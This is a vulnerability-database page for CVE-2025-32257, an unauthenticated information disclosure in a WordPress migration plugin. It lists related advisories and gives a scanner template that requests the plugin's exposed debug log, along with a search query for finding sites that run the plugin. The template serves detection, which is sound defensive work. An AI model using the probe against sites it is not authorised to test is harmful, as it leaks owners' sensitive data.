Vulners
Lucene search
1 Click WordPress Migration <= 2.2 - Unauthenticated Information Disclsoure
| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
 | CVE-2025-32257 | 7 Feb 202606:32 | – | circl |
 | CVE-2025-32257 | 4 Apr 202515:59 | – | cve |
 | CVE-2025-32257 WordPress 1 Click WordPress Migration plugin <= 2.5.7 - Sensitive Data Exposure vulnerability | 4 Apr 202515:59 | – | cvelist |
 | EUVD-2025-9790 | 3 Oct 202520:07 | – | euvd |
 | CVE-2025-32257 | 4 Apr 202516:15 | – | nvd |
 | WordPress 1 Click WordPress Migration plugin <= 2.3.7 - Sensitive Data Exposure vulnerability | 4 Apr 202513:39 | – | patchstack |
 | PT-2025-15013 | 4 Apr 202500:00 | – | ptsecurity |
 | CVE-2025-32257 | 6 Apr 202517:01 | – | redhatcve |
 | VulnCheck KEV: CVE-2025-32257 | 31 Mar 202600:00 | – | vulncheck_kev |
 | CVE-2025-32257 WordPress 1 Click WordPress Migration Plugin <= 2.2 - Sensitive Data Exposure vulnerability | 4 Apr 202515:59 | – | vulnrichment |
10
id: CVE-2025-32257
info:
name: 1 Click WordPress Migration <= 2.2 - Unauthenticated Information Disclsoure
author: pussycat0x
severity: medium
description: |
1 Click WordPress Migration <= 2.2 contains an information disclosure caused by uncleared debug information, letting attackers retrieve embedded sensitive data, exploit requires no specific privileges.
impact:
Attackers can access sensitive embedded data, potentially leading to information disclosure and further exploitation.
remediation:
Remove debug information and update to the latest version of 1 Click WordPress Migration.
reference:
https://wpscan.com/vulnerability/03211216-8cc9-49f9-83da-9fbc57554816/
metadata:
verified: true
max-request: 1
fofa-query: body="/wp-content/plugins/1-click-migration/"
vendor: 1-click-migration
product: 1-click-migration
framework: wordpress
tags: cve,cve2025,wpscan,wordpress,wp-plugin,1clickmigration,vkev
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/1-click-migration/ocm_debug.log"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "debug log content","SYSLOG","Archiving plugins")'
condition: and
# digest: 4a0a00473045022100edfde4922d9c3b11dc19af7f5550dc3a79128a856f24c9d9129594728e32e223022038f949c5175bc53a89274110b1b735e7505c61343fb09f3195dbbda61d12fbd7:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
07 Feb 2026 06:32Current
7.2High risk
Vulners AI Score7.2
CVSS 3.15.3
EPSS0.00801
SSVC